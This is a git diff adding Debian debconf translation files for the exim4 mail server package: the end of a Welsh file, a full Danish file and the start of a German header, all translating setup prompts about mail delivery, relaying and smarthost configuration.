+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Gellir ailysgrifennu pennodau post allan i'w wneud e ymddangos ei fod wedi " +"ei gynhyrchu ar system wahanol, gan newid \"${mailname}\" \"localhost\" a a " +"\"${dc_other_hostnames}\" yn From, Reply-To, Sender a Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +#, fuzzy +msgid "Delivery method for local mail:" +msgstr "danfonir post drwy westeiwr clyfar" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Symud ebost heb eu dosbarthu eto o sbŵ Exim fersiwn 3 i sbŵl Exim 4?" + +#, fuzzy +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Mae rhai negeseuon heb eu dosbarthu yn y cyfeiriadur sbŵl exim neu exim-" +#~ "tls /var/spool/exim/input/. Gellir eu symud at sbŵl exim4 (/var/spool/" +#~ "exim4/input/) nawr, a caent eu trin gan exim4." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Sylwer fod y trosiad yma yn gweithio un ffordd yn unig: mae exim4 yn " +#~ "gallu ymddelio a sbŵl exim(3), ond nid y ffordd arall o gwmpas." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Symudwch y post dim ond os nad ydych chi'n bwriadu mynd yn ôl i exim(3), " +#~ "neu ni ddylir symud yr ebost nawr ond â llaw ar ôl i chi drosi'ch " +#~ "cyluniad." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Os oes mwy, rhowch nhw yma, wedi eu gwahanu orwahannodau (:). Cewch adael " +#~ "hyn yn wag os nad oes rhai." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "" +#~ "Rhowch yma'r parthau rydych chi'n derbyn post i'w ailddosbarthu ohonynt." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Mae'r parthau yma yn rhai rydych chi'n barod i dderbyn post ar eu cyfer o " +#~ "unrhywle ar y Rhyngrwyd. Peidiwch a rhestru parthau lleol yma." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Dylid gwahannu'r parthau a roddir yma gan orwahannodau (:). Ceir " +#~ "defnyddio gwylltnodau." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Gan eich bod chi wedi galluogi cuddio'r enw ebost lleol mewn post allan, " +#~ "rhaid i chi benodi'r enw parth i ddefnyddio ar gyfer post o ddefnyddwyr " +#~ "lleol; fel arfer dyma'r peiriand rydych chi'n defnyddio i dderbyn eich " +#~ "ebost." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Ble bydd eich defnyddwyr yn darlleu eu ebost?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Y peiriant sy'n trin post allan dros y gwesteiwr hwn (gwesteiwr clyfar):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "Rhowch enw gwesteiwr y peiriant y caiff post allan ei ddanfon ati." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Galluogwch hyn os ydych chi'n defnyddio deialu pan bo angen; fel arall " +#~ "analluogwch ef." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "Dewiswch y math o gyfluniad sy'n bodloni eich anghenion orau." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "" +#~ "Os nad ydych yn sicr yna ni ddylwch ddefnyddio cyfluniad wedi hollti." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "trosi o gyfluniad Exim fersiwn 3 â llaw" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Cyflunio Exim4 â llaw?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Dwedoch fod gennych gyfluniad Exim 3 a wneuthpwyd â llaw. Er mwyn ei " +#~ "drosi i Exim 4, gallwch ddefnyddio'r rhaglen exim_convert4r4(8) ar ôl y " +#~ "sefydliad.Gweler /usr/share/doc/exim4-base/examples/example.conf.gz a /" +#~ "usr/share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Tan mae eich system ebost wedi ei gyflunio, bydd wedi torri a ni ellir ei " +#~ "ddefnyddio." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "Mae eich \"enw ebost\" yn cyfateb i rhan enw gwesteiwr y cyfeiriad a " +#~ "ddangosir ar negeseuon post a newyddion allan (yn dilyn yr enw defnyddiwr " +#~ "a'r arwydd @) os na chaiff ei guddio drwy ail-ysgrifennu." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Rhowch yma y rhwydweithi o beiriannau lleol i dderbyn post i'w " +#~ "ailddosbarthu ohonynt." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Fe ddylai hyn gynnwys rhestr o'r holl beiriannau a fydd ein defnyddio ni " +#~ "fel gwesteiwr clyfar." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Rhaid i chi ddyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. " +#~ "5f03::1200::386f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Rhowch rhestr wedi ei wahannu a orwahannodau o gyfeiriadau IP i'w gwrando " +#~ "arnynt. Rhaid dyblu'r gorwahannodau mewn cyfeiriadau IPv6 (e.e. " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Cyflunio Evim fersiwn 4 (exim4-config)" diff --git a/debian/po/da.po b/debian/po/da.po new file mode 100644 index 0000000..d3fb578 --- /dev/null +++ b/debian/po/da.po @@ -0,0 +1,650 @@ +# Danish translation exim4. +# Copyright (C) 2010 exim4 & nedenstÃ¥ende oversættere. +# This file is distributed under the same license as the exim4 package. +# Claus Hindsgaul <claus.hindsgaul@gmail.com>, 2004, 2006. +# Joe Hansen (joedalton2@yahoo.dk), 2010. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2010-08-12 17:30+01:00\n" +"Last-Translator: Joe Hansen <joedalton2@yahoo.dk>\n" +"Language-Team: Danish <debian-l10n-danish@lists.debian.org> \n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"org>\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +# Template: exim4/purge_spool +# ddtp-prioritize: 43 +# +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Fjern ikke-leverede breve i kø-mappen?" + +# +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Der er e-post i exims kø-mappe /var/spool/exim4/input, som ikke er blevet " +"leveret endnu. Hvis du fjerner Exim, vil de ikke blive leveret, før Exim " +"bliver geninstalleret." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Hvis denne indstilling ikke bliver valgt, vil kø-mappen blive bevaret, sÃ¥ " +"brevene i køen bliver leveret senere, nÃ¥r Exim er geninstalleret." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Sæt exim4-config op i stedet for denne pakke" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 har udskilt sin opsætning i en dertil oprettet pakke, exim4-config. " +"For at rekonfigurere Exim4 bruges 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internetsted; post sendes og modtages direkte med SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "post sendt af smarthost; hentet via SMTP eller fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "post sendt af smarthost; ingen lokal post" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "kun lokal levering; ikke pÃ¥ et netværk" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ingen opsætning endnu" + +# Template: exim4/dc_eximconfig_configtype +# ddtp-prioritize: 43 +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Overordnet postopsætningstype:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Vælg venligst den postopsætningstype der bedst svarer til dine behov." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"System med dynamiske IP-adresser, herunder opkaldssystemer, skal generelt " +"sættes op til at levere udgÃ¥ende post til en anden maskine, en sÃ¥kaldt " +"'smarthost', da mange modtagersystemer pÃ¥ internettet blokerer indkommende " +"post fra dynamiske IP-adresser for at undgÃ¥ spam." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Systemer med dynamiske IP-adresser kan enten modtage sin egen post, eller " +"lokal levering kan deaktiveres fuldstændigt (undtagen post til root og " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Vil du virkelig undlade at sætte postsystemet op?" + +# +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Indtil postsystemet er sat op, vil det være ude af funktion og kan ikke " +"benyttes. Du kan sætte det op senere, enten manuelt eller ved at køre 'dpkg-" +"reconfigure exim4-config' som root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Systempostnavn:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'postnavnet' er det domænenavn, der benyttes til at 'kvalificere' " +"postadresser uden domænenavn." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Dette navn vil ogsÃ¥ blive brugt af andre programmer. Det bør være et enkelt, " +"fuldt kvalificeret domænenavn (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Hvis en e-post-adresse pÃ¥ den lokale maskine f.eks. er foo@eksempel.org, vil " +"den rigtige værdi til denne indstilling være eksempel.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Dette navn vil ikke optræde i From:-linjerne (Fra-linjerne) i udgÃ¥ende " +"breve, hvis omskrivning er aktiveret." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Andre mÃ¥l, hvortil post skal accepteres:" + +# +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Angiv en liste adskilt med semikolon over modtagerdomæner, for hvilke denne " +"maskine skal betragte sig som endestation. Disse domæner kaldes normalt " +"'lokale domæner'. Det lokale værtsnavn (${fqdn}) og 'localhost' tilføjes " +"altid til den her anførte liste." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Som udgangspunkt vil alle domæner blive behandlet ens. Hvis bÃ¥de a.eksempel " +"og b.eksempel er lokale domæner, vil acc@a.eksempel og acc@b.eksempel blive " +"leveret til samme modtager. Hvis forskellige domænenavne skal behandles " +"forskelligt, mÃ¥ du selv rette i opsætningsfilerne bagefter." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domæner at videresende (»relay«) post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Angiv en liste adskilt med semikolon over modtagerdomæner, dette system skal " +"videresende post for - for eksempel som reserve-MX eller post-gateway. Det " +"betyder, at dette system vil acceptere post til disse domæner fra ethvert " +"sted pÃ¥ internettet og levere dem efter de lokale leveringsregler." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Nævn ikke lokale domæner her. Du kan godt bruge jokertegn (wildcards)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Maskiner at videresende (»relay«) post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Angiv en liste adskilt med semikolon over IP-adresseomrÃ¥der, dette system " +"ubetinget vil videresende post for, og dermed fungere som smarthost." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Du skal bruge det almindelige adresse-/længdeformat (f.eks. 194.222.242.0/24 " +"eller 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Lad feltet stÃ¥ tomt, hvis systemet ikke skal være smarthost for andre " +"maskiner." + +# Template: exim4/dc_readhost +# ddtp-prioritize: 43 +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Synligt domænenavn for lokale brugere:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Muligheden for at skjule det lokale postnavn i udgÃ¥ende post er aktiveret. " +"Det er derfor nødvendigt at angive det domænenavn, dette system skal skrive " +"i domænedelen af lokale brugeres afsenderadresser." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-adresser eller værtsnavne pÃ¥ den udgÃ¥ende smarthost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Angiv IP-adressen eller værtsnavnet pÃ¥ en postserver, dette system skal " +"benytte som udgÃ¥ende smarthost. Hvis smarthosten kun accepterer din post pÃ¥ " +"en anden port ende TCP/25, skal du tilføje to koloner og portnummeret (for " +"eksempel smarthost.eksempel::587 eller 192.168.254.254::2525). Koloner i " +"IPV6-adresser skal skrive dobbelt." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Hvis smarthosten kræver godkendelse, kan du se, hvordan dette sættes op, i " +"bemærkningerne om opsætning af SMTP-godkendelse i filen /usr/share/doc/exim4-" +"base/README.Debian.gz." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Postmodtager for root og postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Post til 'postmaster', 'root' og andre systemkonti skal videresendes til den " +"virkelige systemadministrators brugerkonto." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Hvis feltet lades stÃ¥ tomt, vil den slags post blive gemt i /var/mail/mail. " +"Dette anbefales ikke." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Bemærk at post til postmaster normalt skal læses pÃ¥ det system, det er " +"omdirigeret til, fremfor at videresende den til andre steder, sÃ¥ (mindst en " +"af) de brugere, du vælger, bør ikke omdirigere deres post væk fra denne " +"maskine. Man kan gennemtvinge lokal levering ved at skrive 'real-' foran " +"adressen." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Ved angivelse af flere brugernavne, skal disse adskilles af mellemrum." + +# Template: exim4/dc_local_interfaces +# ddtp-prioritize: 43 +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP-adresser, der skal lyttes pÃ¥ for indkommende SMTP-forbindelser:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Angiv en liste over IP-adresser adskilt med koloner. Exims SMTP-lyttedæmon " +"vil lytte pÃ¥ alle disse IP-adresser." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Hvis du lader denne værdi være tom, vil Exim lytte efter forbindelser pÃ¥ " +"alle tilgængelige netkort." + +# +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Hvis dette system kun modtager e-post direkte fra lokale tjenester (og ikke " +"fra andre værter), anbefales det at forbyde eksterne forbindelser til den " +"lokale Eximdæmon. SÃ¥danne tjenester inkluderer e-post-programmer (MUA'er) " +"som kun snakker med localhost (lokalvært) samt fetchmail. Eksterne " +"forbindelser er umulige nÃ¥r 127.0.0.1 indtastes her, da dette vil deaktivere " +"lytning pÃ¥ offentligt tilgængelige netforbindelser." + +# Template: exim4/dc_minimaldns +# ddtp-prioritize: 43 +# +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Skal antallet af DNS-forespørgsler minimeres (opkaldsforbindelse)?" + +# +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"I normal drifttilstand, foretager Exim DNS-opslag under opstarten og nÃ¥r den " +"modtager eller afleverer beskeder o.lign. Det sker for at føre log og holde " +"antallet af faste indstillinger i opsætningsfilen nede." + +# +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Hvis dette system ikke har permanent adgang til en DNS-navneserver (f.eks. " +"hvis internetadgangen foregÃ¥r via en opkaldsforbindelse), kan dette have " +"uønskede konsekvenser. For eksempel kan opstart af Exim eller kørsel af køen " +"(ogsÃ¥ selv om der ikke er nogen ventende beskeder) udløse en dyr " +"opringningshændelse." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Denne indstilling bør aktiveres hvis systemet benytter en " +"opkaldsforbindelse. Hvis det har en permanent internetforbindelse, bør den " +"deaktiveres." + +# Template: exim4/dc_eximconfig_configtype +# ddtp-prioritize: 43 +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Opsætning af postserver" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Opdel opsætningen i mindre filer?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debians exim4-pakker kan enten bruge en 'ikke-opdelt opsætning', en enkelt " +"monolitisk fil (/etc/exim4/exim4.conf.template) eller 'opdelt opsætning', " +"hvor opsætningen beskrives i omkring 50 mindre filer i /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Ikke-opdelt opsætning er bedst til større ændringer og er generelt mere " +"stabil, mens opdelt opsætning gør det lettere at lave mindre ændringer, men " +"er mere skrøbelig, og kan blive ødelagt, hvis den ændres uforsigtig." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Der er en mere detaljeret diskussion om ikke-opdelte og opdelte opsætninger " +"i de Debianspecifikke README-filer i /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Skjul lokalt postnavn i udgÃ¥ende post?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Brevhovederne i udgÃ¥ende post kan omskrives, sÃ¥ de lader til at være " +"genereret pÃ¥ et andet system. Hvis denne indstilling vælges, genskrives " +"'${mailname}', 'localhost' og '${dc_other_hostnames}' i felterne From, Reply-" +"To, Sender og Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox-format i /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-format i hjemmemappe" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Leveringsmetode for lokal post:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kan gemme lokalt leveret post i forskellige formater. De mest benyttede " +"er mbox og Maildir. mbox benytter en enkelt fil til hele brevbakken, der " +"gemmes i /var/mail/. I Maildir-formatet bliver brevene gemt i hver sin fil i " +"~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Bemærk, at de fleste postværktøjer i Debian som udgangspunkt forventer, at " +"den lokale post leveres i mbox-formatet." diff --git a/debian/po/de.po b/debian/po/de.po new file mode 100644 index 0000000..7e1212d --- /dev/null +++ b/debian/po/de.po @@ -0,0 +1,690 @@ +# translation of exim4_4.69-2_de.po to German +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# Andreas Metzler <ametzler@debian.org> +# Dennis Stampfer <seppy@debian.org> +# +# Erik Schanze <eriks@debian.org>, 2006 - 2008. +msgid "" +msgstr "" +"Project-Id-Version: exim4_4.69-2_de\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-01-26 19:33+0100\n" +"Last-Translator: Erik Schanze 